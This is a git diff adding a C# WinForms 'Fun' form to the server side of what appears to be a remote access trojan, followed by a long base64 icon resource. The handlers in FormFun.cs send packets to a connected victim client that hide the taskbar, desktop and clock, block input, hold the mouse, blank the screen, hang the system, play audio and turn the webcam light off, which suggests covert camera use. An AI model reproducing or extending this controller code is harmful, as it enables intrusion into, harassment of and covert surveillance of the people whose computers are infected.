// button11 + // + this.button11.Location = new System.Drawing.Point(173, 24); + this.button11.Name = "button11"; + this.button11.Size = new System.Drawing.Size(71, 26); + this.button11.TabIndex = 3; + this.button11.Text = "Start"; + this.button11.UseVisualStyleBackColor = true; + this.button11.Click += new System.EventHandler(this.button11_Click); + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(120, 29); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(47, 12); + this.label2.TabIndex = 2; + this.label2.Text = "seconds"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(8, 29); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(23, 12); + this.label1.TabIndex = 1; + this.label1.Text = "for"; + // + // numericUpDown1 + // + this.numericUpDown1.Location = new System.Drawing.Point(37, 27); + this.numericUpDown1.Name = "numericUpDown1"; + this.numericUpDown1.Size = new System.Drawing.Size(77, 21); + this.numericUpDown1.TabIndex = 0; + // + // button12 + // + this.button12.Location = new System.Drawing.Point(236, 310); + this.button12.Name = "button12"; + this.button12.Size = new System.Drawing.Size(250, 32); + this.button12.TabIndex = 6; + this.button12.Text = "Turn Monitor off"; + this.button12.UseVisualStyleBackColor = true; + this.button12.Click += new System.EventHandler(this.button12_Click); + // + // button14 + // + this.button14.Location = new System.Drawing.Point(236, 348); + this.button14.Name = "button14"; + this.button14.Size = new System.Drawing.Size(250, 32); + this.button14.TabIndex = 8; + this.button14.Text = "Hang system"; + this.button14.UseVisualStyleBackColor = true; + this.button14.Click += new System.EventHandler(this.button14_Click); + // + // groupBox7 + // + this.groupBox7.Controls.Add(this.button15); + this.groupBox7.Controls.Add(this.label3); + this.groupBox7.Controls.Add(this.label4); + this.groupBox7.Controls.Add(this.numericUpDown2); + this.groupBox7.Location = new System.Drawing.Point(236, 86); + this.groupBox7.Name = "groupBox7"; + this.groupBox7.Size = new System.Drawing.Size(250, 68); + this.groupBox7.TabIndex = 5; + this.groupBox7.TabStop = false; + this.groupBox7.Text = "Hold Mouse"; + // + // button15 + // + this.button15.Location = new System.Drawing.Point(173, 24); + this.button15.Name = "button15"; + this.button15.Size = new System.Drawing.Size(71, 26); + this.button15.TabIndex = 3; + this.button15.Text = "Start"; + this.button15.UseVisualStyleBackColor = true; + this.button15.Click += new System.EventHandler(this.button15_Click); + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Location = new System.Drawing.Point(120, 29); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(47, 12); + this.label3.TabIndex = 2; + this.label3.Text = "seconds"; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(8, 29); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(23, 12); + this.label4.TabIndex = 1; + this.label4.Text = "for"; + // + // numericUpDown2 + // + this.numericUpDown2.Location = new System.Drawing.Point(37, 27); + this.numericUpDown2.Name = "numericUpDown2"; + this.numericUpDown2.Size = new System.Drawing.Size(77, 21); + this.numericUpDown2.TabIndex = 0; + // + // groupBox9 + // + this.groupBox9.Controls.Add(this.button17); + this.groupBox9.Controls.Add(this.button18); + this.groupBox9.Location = new System.Drawing.Point(12, 324); + this.groupBox9.Name = "groupBox9"; + this.groupBox9.Size = new System.Drawing.Size(170, 56); + this.groupBox9.TabIndex = 4; + this.groupBox9.TabStop = false; + this.groupBox9.Text = "Lock Screen"; + // + // button17 + // + this.button17.Location = new System.Drawing.Point(88, 21); + this.button17.Name = "button17"; + this.button17.Size = new System.Drawing.Size(75, 30); + this.button17.TabIndex = 1; + this.button17.Text = "Stop"; + this.button17.UseVisualStyleBackColor = true; + this.button17.Click += new System.EventHandler(this.button17_Click); + // + // button18 + // + this.button18.Location = new System.Drawing.Point(7, 21); + this.button18.Name = "button18"; + this.button18.Size = new System.Drawing.Size(75, 29); + this.button18.TabIndex = 0; + this.button18.Text = "Start"; + this.button18.UseVisualStyleBackColor = true; + this.button18.Click += new System.EventHandler(this.button18_Click); + // + // timer1 + // + this.timer1.Interval = 2000; + this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); + // + // groupBox8 + // + this.groupBox8.Controls.Add(this.button16); + this.groupBox8.Controls.Add(this.button19); + this.groupBox8.Location = new System.Drawing.Point(236, 160); + this.groupBox8.Name = "groupBox8"; + this.groupBox8.Size = new System.Drawing.Size(250, 79); + this.groupBox8.TabIndex = 4; + this.groupBox8.TabStop = false; + this.groupBox8.Text = "Turn off webcam light"; + // + // button16 + // + this.button16.Location = new System.Drawing.Point(125, 29); + this.button16.Name = "button16"; + this.button16.Size = new System.Drawing.Size(112, 30); + this.button16.TabIndex = 1; + this.button16.Text = "Turn Off"; + this.button16.UseVisualStyleBackColor = true; + this.button16.Click += new System.EventHandler(this.button16_Click); + // + // button19 + // + this.button19.Location = new System.Drawing.Point(7, 29); + this.button19.Name = "button19"; + this.button19.Size = new System.Drawing.Size(112, 29); + this.button19.TabIndex = 0; + this.button19.Text = "Turn On"; + this.button19.UseVisualStyleBackColor = true; + this.button19.Click += new System.EventHandler(this.button19_Click); + // + // button13 + // + this.button13.Location = new System.Drawing.Point(236, 272); + this.button13.Name = "button13"; + this.button13.Size = new System.Drawing.Size(250, 32); + this.button13.TabIndex = 9; + this.button13.Text = "Play Audio"; + this.button13.UseVisualStyleBackColor = true; + this.button13.Click += new System.EventHandler(this.button13_Click_1); + // + // FormFun + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(508, 395); + this.Controls.Add(this.button13); + this.Controls.Add(this.button14); + this.Controls.Add(this.button12); + this.Controls.Add(this.groupBox7); + this.Controls.Add(this.groupBox6); + this.Controls.Add(this.groupBox8); + this.Controls.Add(this.groupBox9); + this.Controls.Add(this.groupBox5); + this.Controls.Add(this.groupBox4); + this.Controls.Add(this.groupBox3); + this.Controls.Add(this.groupBox2); + this.Controls.Add(this.groupBox1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FormFun"; + this.Text = "Fun"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormFun_FormClosed); + this.groupBox1.ResumeLayout(false); + this.groupBox2.ResumeLayout(false); + this.groupBox3.ResumeLayout(false); + this.groupBox4.ResumeLayout(false); + this.groupBox5.ResumeLayout(false); + this.groupBox6.ResumeLayout(false); + this.groupBox6.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).EndInit(); + this.groupBox7.ResumeLayout(false); + this.groupBox7.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).EndInit(); + this.groupBox9.ResumeLayout(false); + this.groupBox8.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Button button1; + private System.Windows.Forms.Button button2; + private System.Windows.Forms.GroupBox groupBox1; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.Button button4; + private System.Windows.Forms.Button button3; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.Button button5; + private System.Windows.Forms.Button button6; + private System.Windows.Forms.GroupBox groupBox4; + private System.Windows.Forms.Button button7; + private System.Windows.Forms.Button button8; + private System.Windows.Forms.GroupBox groupBox5; + private System.Windows.Forms.Button button9; + private System.Windows.Forms.Button button10; + private System.Windows.Forms.GroupBox groupBox6; + private System.Windows.Forms.Button button11; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.NumericUpDown numericUpDown1; + private System.Windows.Forms.Button button12; + private System.Windows.Forms.Button button14; + private System.Windows.Forms.GroupBox groupBox7; + private System.Windows.Forms.Button button15; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private System.Windows.Forms.NumericUpDown numericUpDown2; + private System.Windows.Forms.GroupBox groupBox9; + private System.Windows.Forms.Button button17; + private System.Windows.Forms.Button button18; + public System.Windows.Forms.Timer timer1; + private System.Windows.Forms.GroupBox groupBox8; + private System.Windows.Forms.Button button16; + private System.Windows.Forms.Button button19; + private System.Windows.Forms.Button button13; + } +} \ No newline at end of file diff --git a/Server/Forms/FormFun.cs b/Server/Forms/FormFun.cs new file mode 100644 index 0000000..4418d27 --- /dev/null +++ b/Server/Forms/FormFun.cs @@ -0,0 +1,199 @@ +using Server.Connection; +using Server.MessagePack; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Server.Forms +{ + public partial class FormFun : Form + { + public FormFun() + { + InitializeComponent(); + } + public Form1 F { get; set; } + internal Clients Client { get; set; } + internal Clients ParentClient { get; set; } + + private void Timer1_Tick(object sender, EventArgs e) + { + try + { + if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close(); + } + catch { } + } + + private void button1_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Taskbar+"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button2_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Taskbar-"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button3_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Desktop+"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button4_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Desktop-"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button5_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Clock+"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button6_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "Clock-"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button8_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "swapMouseButtons"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button7_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "restoreMouseButtons"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button10_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "openCD+"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button9_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "openCD-"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button18_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "blankscreen+"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button17_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "blankscreen-"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button11_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "blockInput"; + msgpack.ForcePathObject("Time").AsString = numericUpDown1.Value.ToString(); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button15_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "holdMouse"; + msgpack.ForcePathObject("Time").AsString = numericUpDown2.Value.ToString(); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button12_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "monitorOff"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button14_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "hangSystem"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button13_Click(object sender, EventArgs e) + { + + } + + + + private void FormFun_FormClosed(object sender, FormClosedEventArgs e) + { + ThreadPool.QueueUserWorkItem((o) => + { + Client?.Disconnected(); + }); + } + + private void button19_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "webcamlight+"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button16_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "webcamlight-"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + + private void button13_Click_1(object sender, EventArgs e) + { + using (OpenFileDialog O = new OpenFileDialog()) + { + O.Filter = "(*.wav)|*.wav"; + if (O.ShowDialog() == DialogResult.OK) + { + byte[] wavfile = File.ReadAllBytes(O.FileName); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Pac_ket").AsString = "playAudio"; + msgpack.ForcePathObject("wavfile").SetAsBytes(wavfile); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + else + { + MessageBox.Show("Please choose a wav file."); + } + } + } + } +} diff --git a/Server/Forms/FormFun.resx b/Server/Forms/FormFun.resx new file mode 100644 index 0000000..3f5d77d --- /dev/null +++ b/Server/Forms/FormFun.resx @@ -0,0 +1,1256 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAABABMLAAATCwAAAAAAAAAA + AAD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8Auev2ALnr9gC56/YAuev2ALnr + 9gC56/YAuev2ALnr9gC56/YAv/H8AJnK1ghbipgcZ5SgpWiUoJ8xYG6ON2VyHBdHVSIuX2kAQ3mBAAco + MQAXNj8AK05YACA/TAAkRFMAHD5NAFB8iQBxpLAAbJ6qAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbp+rAFp5 + gwAyW2gAKlNgABxDUQAYQk8AJFZgACNVXwAjVV8AI1VfACNVXwAeUFoAUH+IADNXYgAlSFQADi87ABgw + PgAuRlQACC88AA8/TgAJOEoSHFBin1+KmNg/ZXjYPWBx2mCBkdpOc4LBSHWDMNb//wDA8/sAvvH5AL7x + +QC+8fkAvvH5AL7x+QC+8fkAvvH5AL7x+QC+8fkAvvH5AL7x+QC+8fkAvvH5AL7x+QD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wCEs8AAhLPAAISzwACEs8AAhLPAAISzwACEs8AAhLPAAISzwACIuMQAXoyah3uf + qrzc9/v70u7z/2WJlduFrrbfaZeg7CJUX4Q9dH0JBicwABc2PwArTlgAID9MACREUwAcPk0AUHyJAHGk + sABsnqoAbJ6qAGyeqgBsnqoAbJ6qAGyeqgBun6sAWnmDADJbaAAqU2AAHENRABhCTwAkVmAAI1VfACNV + XwAjVV8AI1VfAB5QWgBQf4gAM1diACVIVAAOLzsAGDA+AC9GVAAEKzgAADBALU14hM2Ns7+65Pz//6a6 + yP+qvMP/8P7//9jr9ddqkZzeVX+LOLfq8gDH+v8AxPf/AMT3/wDE9/8AxPf/AMT3/wDE9/8AxPf/AMT3 + /wDE9/8AxPf/AMT3/wDE9/8AxPf/AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////ACxYZQAsWGUALFhlACxY + ZQAsWGUALFhlACxYZQAsWGUALFhlAC5caCZKb3zyrsPI/+Ty9v/V4+j/2Ont/9ry9P/V9PX/tNfa/1qE + jKIAISoUFDM8ACtOWAAgP0wAJERTABw+TQBQfIkAcaSwAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbJ6qAG6f + qwBaeYMAMltoACpTYAAcQ1EAGEJPACRWYAAjVV8AI1VfACNVXwAjVV8AHlBaAFB/iAAzV2IAJUhUAA4v + OwAZMT8AKEBOAA82Q058oauC1O3z/+Tz+v/e6PL/wcvV/8rU3P/q9Pn/3+30/7fS1v8bQU7ykMHLQqfZ + 4gCj1d8Ao9XfAKPV3wCj1d8Ao9XfAKPV3wCj1d8Ao9XfAKPV3wCj1d8Ao9XfAKPV3wCj1d8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8AN2l1ADdpdQA3aXUAN2l1ADdpdQA3aXUAN2l1ADdpdQA1Z3QASniErczq + 7v/T4uX/5uns/+/w8f/n6+z/2+fn/9vr7P/j8vP/5/b434KcodEVN0BIJEhSACA/TAAkRFMAHD5NAFB8 + iQBxpLAAbJ6qAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbp+rAFp5gwAyW2gAKlNgABxDUQAYQk8AJFZgACNV + XwAjVV8AI1VfACNVXwAeUFoAUH+IADNXYgAlSFQADy87AA8oNgA3Tl0sq8LM1ePx+f/l6vH/7u31/+vq + 8f/u8fX/6PH0/9ro6//b6+//0+nt/8Tk6/83Y3HQJVJgAClWZAApVmQAKVZkAClWZAApVmQAKVZkAClW + ZAApVmQAKVZkAClWZAApVmQAKVZkAClWZAD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wA/doQAP3aEAD92 + hAA/doQAP3aEAD92hAA/doQAP3aEADdwfkN/r7n11O7y/+Ts7//s6ev/7+zt/+np6//r8vP/2+jq/+Lr + 7f/f5+n/8P///562vMEwUlwYGjlGBSREUwAcPk0AUHyJAHGksABsnqoAbJ6qAGyeqgBsnqoAbJ6qAGye + qgBun6sAWnmDADJbaAAqU2AAHENRABhCTwAkVmAAI1VfACNVXwAjVV8AI1VfAB5QWgBQf4gAM1diACZI + VAAIKjYHITlITLnFz+Dt8/z/4eXs/+/v9f/n5u3/7ezy/+ru8//i7O//3ezu/9zs8P/Z6ez/3vP2/ypR + XMgAJjMABS05AAUtOQAFLTkABS05AAUtOQAFLTkABS05AAUtOQAFLTkABS05AAUtOQAFLTkABS05AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP///wD///8A////AP// + /wD///8A////AP///wD///8A////AEF6jABBeowAQXqMAEJ6jABBeowAQHmKAEB5igBAeYoAOXOFNn6u + vOzQ6u//5Ozu//Lv8P/y7e7/7e7w/+bu8v/g7vX/4O3x/+Tu7//a6On/6/n9/7vQ17xLZ3M8Gz1MAx0/ + TgBQfIkAcaSwAGyeqgBsnqoAbJ6qAGyeqgBsnqoAbJ6qAG6fqwBaeYMAMltoACpTYAAcQ1EAGEJPACRW + 